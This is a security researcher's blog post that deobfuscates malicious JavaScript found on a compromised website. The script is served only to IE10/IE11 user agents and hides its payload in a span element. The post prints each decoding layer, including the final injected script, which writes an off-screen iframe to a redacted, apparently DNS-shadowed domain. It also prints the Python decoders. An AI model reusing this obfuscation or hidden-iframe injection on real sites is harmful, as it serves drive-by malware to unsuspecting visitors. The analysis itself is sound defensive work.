Some days ago, I was invited to check the security of a website.
A customer was complaining of getting alert from its AV while browsing a website, but a visual inspection of the webpage did not reveal anything.
1/ Watch closely
Come back when you're ready! (Denaoshite koi!)
When dealing with infected website, you can start with a simple wget (or curl) and analyze the result. For this time, wget would retrieve an inoffensive HTML file, so the first analysis shows nothing. But if you specify an Internet Explorer User-Agent, you get a different file, way more interesting.
That's a simple and effective trick made by attackers to stay undetected, because infected javascripts are not sent to everybody, only for innocents victims with vulnerable browsers, and not for security analysts. This is usually done with an
.htaccess file.
The file I got with a MSIE User-agent looks like this:
$ wget -U "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US))" http://victim.website.tld/path/to/page.html
$ cat page.html
<span id="screenXConfirm" style="display:none">0 23 2cs2 czc22 1m3a i12 5b5 1-f2 2b2 3 11 -12
(...4000 chars later on this only line...)
7 12 2-b2 7k5 74 75 89aban-eqcdcia-jaod-ra.vd.r-esaicmec-a-mco</span>
<script>
passwordOnkeyup="\x69";switchEval="\x61";newMimeTypes="\x72";pageYOffsetPlugin="\x74"
(... 11000 chars later on this only line...)
defaultFunction=onkeydownOpener; continueDecodeURIComponent(pkcs11Taint)();layersWith="\x76\x65\x72";pkcs11Taint=layersWith;layersWith+=layersWith
</script>
<noscript>
Error displaying the error page: Application Instantiation Error: Failed to start the session because headers have already been sent by "/jail/var/www/vhosts/victim.website.tld/httpdocs/includes/defines.php" at line 123.
The script part is interesting. It's filled up with variables, and those names looks like javascript names and functions. After a bit of code beautifying, we can see in the end:
(...)
pkcs11Taint+=setIntervalVolatile;
setIntervalVolatile=pageYOffsetFloat;
pkcs11Taint+=clearIntervalOnkeyup;
clearIntervalOnkeyup=onresetVolatile;
pkcs11Taint+=charWindow;
charWindow="\x74\x76\x71";
pkcs11Taint+=ArrayElements;
pkcs11Taint+=staticFloat;
pkcs11Taint+=defaultFunction;
defaultFunction=onkeydownOpener;
continueDecodeURIComponent(pkcs11Taint)();
layersWith="\x76\x65\x72";
pkcs11Taint=layersWith;
layersWith+=layersWith;
</script>
We understand that the pcks11Taint is a string slowly built, variable after variable, which is called like a function thanks to
continueDecodeURIComponent(pkcs11Taint)();
Another nice trick is that the pkcs11Taint strings is cleared up right after being called. So, if you try to do some kind of symbolic execution through all the script, you end up with absolutely nothing interesting. You can also see that all the temporary variables are reseted right after evaluation.
2/ Second Layer
You'll be in hell... Before me!
Following this path is really easy. Just change the continueDecodeURIComponent(pkcs11Taint)(); with an alert(); and you'll see this javascript. I beautify it again, and we see:
a=document.getElementById("screenXConfirm").innerHTML.replace(/[^\d ]/g,"").split(" ");
for(i=(+[window.sidebar])+(+[window.chrome]);i<a.length;i++)a[i]=parseInt(a[i])^98;
c="constructor";
[][c][c](String.fromCharCode.apply(null,a))();
Remember the <span id=screenXConfirm ...> we saw just before? We remove everything except numbers and space in order to fill a table.
Then, we XOR all value from the table with the value 98 and we finally execute what we got from the table, translated back to characters.
Here is a little python code to see the result (why python? just because.)
1: #! /usr/bin/python
2: import re
3: screenXConfirm="0 23 2cs2 czc (...c/c from page.html...) 7 12 2-b2 7k5 74 75 89aban-eqcdcia-jaod-ra.vd.r-esaicmec-a-mco"
4:
5: screenXConfirm=screenXConfirm.split(" ")
6: translated_js=[]
7: for i in screenXConfirm:
8: num=int(re.sub(r"[^\d ]","",i))
9: translated_js.append(chr(num^98))
10:
11: print ''.join(translated_js)
12:
3/ Third Layer
No mercy!
The python code gives this (once again, the code has been beautified for readability):
buttonUntaint = (+[window.sidebar]) + (+[window.chrome]);
oncontextmenuOnmousedown = ["rv:11", "MSIE", ];
for (propertyIsEnumWhile = buttonUntaint; propertyIsEnumWhile < oncontextmenuOnmousedown.length; propertyIsEnumWhile++) {
if (navigator.userAgent.indexOf(oncontextmenuOnmousedown[propertyIsEnumWhile]) > buttonUntaint) {
undefinedFinally = oncontextmenuOnmousedown.length - propertyIsEnumWhile;
break;
}
}
if (navigator.userAgent.indexOf("MSIE 10") > buttonUntaint) {
undefinedFinally++;
}
continueNew = "6pbXWbAoyVTSfe";
onloadCheckbox = document.getElementById("screenXConfirm").innerHTML;
constEncodeURIComponent = buttonFalse = buttonUntaint;
isFiniteDocument = "";
onloadCheckbox = onloadCheckbox.replace(/[^a-z]/g, "");
for (propertyIsEnumWhile = buttonUntaint; propertyIsEnumWhile < onloadCheckbox.length; propertyIsEnumWhile++) {
formsEncodeURIComponent = onloadCheckbox.charCodeAt(propertyIsEnumWhile);
if (constEncodeURIComponent % undefinedFinally) {
isFiniteDocument += String.fromCharCode(((returnButton + formsEncodeURIComponent - 97) ^ continueNew.charCodeAt(buttonFalse % continueNew.length)) % 255);
buttonFalse++;
} else {
returnButton = (formsEncodeURIComponent - 97) * 13 * undefinedFinally;
}
constEncodeURIComponent++;
}[]["constructor"]["constructor"](isFiniteDocument)();
Aside the use of really badly named variables which can lead to confusion, we note three important things:
- ["rv:11", "MSIE", ];
The javascript code tries to autodect the browser. It search for IE11 and more interstingly, the table finishs with ', ]'. I think that the code is autogenerated upon demand, and can autodetect way more borwser. This one wants to detect MSIE or IE11, but the generator code must have more browser and versions.
- navigator.userAgent.indexOf("MSIE 10")
The previous check and this one are used to set up a variable to the value of "2" if the browser is IE10 or IE11. Interesting, this javascript targets recent browsers (at least, not an IE8 ^_^ ).
- continueNew = "6pbXWbAoyVTSfe"; and .replace(/[^a-z]/g, "");
That continueNew variable is a key. The replace part just takes all the lowercase characters from the screenXConfirm <span> id. It's interesting. The span id is used twice, one for its numbers, another for its lowercase letters. They are used to encrypt layers of obfuscated javascript. We understand better why this span id looks like a bunch of random things.
And we have a decyphering function which decrypt the lowercase characters with the key and the variable setted with the user-agent. This is a really weird way to redirect browser to a specific location... A simple "if" case would have done the job, remeber that we are under two layer of obfuscation.
I used again a bit of python code to see where we are going. I didn't even tried to reverse the decyphering function, because copy-pasting it "just works" (yes, javascript == python ^_^ ):
1: #! /usr/bin/python
2: import re
3: screenXConfirm="0 23 2cs2 czc22 1m3a (once again, all of the span id chars)k5 74 75 89aban-eqcdcia-jaod-ra.vd.r-esaicmec-a-mco"
4: key="6pbXWbAoyVTSfe"
5:
6: returnButton=0
7: undefinedFinally=2 #If you have MSIE10 or MSIE11
8: buttonFalse=0
9: constEncodeURIComponent=0
10: isFiniteDocument=[]
11:
12: onloadCheckbox=[]
13: for i in screenXConfirm:
14: c=(re.sub(r"[^a-z]","",i))
15: if len(c) > 0:
16: onloadCheckbox.append(ord(c))
17:
18: for formsEncodeURIComponent in onloadCheckbox:
19: if (constEncodeURIComponent%undefinedFinally):
20: num=(returnButton+formsEncodeURIComponent-97)^ord(key[buttonFalse%len(key)])
21: buttonFalse+=1
22: isFiniteDocument.append(chr(num%255))
23: else:
24: returnButton=(formsEncodeURIComponent-97)*13*undefinedFinally
25: constEncodeURIComponent+=1
26:
27: print ''.join(isFiniteDocument)
4/ Hiding in plain sight
Don't let your guard down... or you'll die.
The last javascript code, after beautifying, is:
p = "PHP_SESSION_PHP";
if (document.cookie.indexOf(p) == -1) {
document.write('<style>.kkvhavtlfdalg{position:absolute;top:-809px;width:300px;height:300px;}</style>
<div class="kkvhavtlfdalg">
<iframe src="http://--redacted.redacted--.co.uk/hYCKyYdJsc_cn_JxHu.html" width="250" height="250">
</iframe>
</div>');
}
c = p + "=364; path=/; expires=" + new Date(new Date().getTime() + 604800000).toUTCString();
document.cookie = c;
document.cookie = "_" + c;
We notice immediately two things:
- The domain where the iframe points to:
This domain doesn't exist anymore. I can't find any records about it. After some readings, I think it's a method called 'DNS shadowing'. The domain is legit, the subdomain is not. The subdomain has a little TTL and is promptly removed after attack. No tracks, no way to hunt down the IP address. Clever.
5/ Conclusion
Weapons are just tools. True strength lies within me.
In this blogpost, we saw how an attacker can do the first part of a fingerprinting. Only clients with IE10 or IE11 are redirected to a (supposed) evil iframe.
The attacker uses nice trick for staying under the radar, with .htaccess and javascript variables names which looks legit. What is hard to understand is the 3 layer of js obfuscation: if you find the first js illegitimate, you have no problem to go through the 3 layers in very little time, so why spend time in order to do this obfuscation? Maybe it confuses some AV? Another thing?
In the end, the most significative way to block an analyst is the DNS shadowing, and it's very effective :-(
If you search the Internet with PHP_SESSION_PHP and DNS shadow, you find connections to Angler Exploit Kit or Darkleech. Without the iframe, it's hard to say what it really was.
0xMitsurugi
Quotes are taken from SoulCalibur.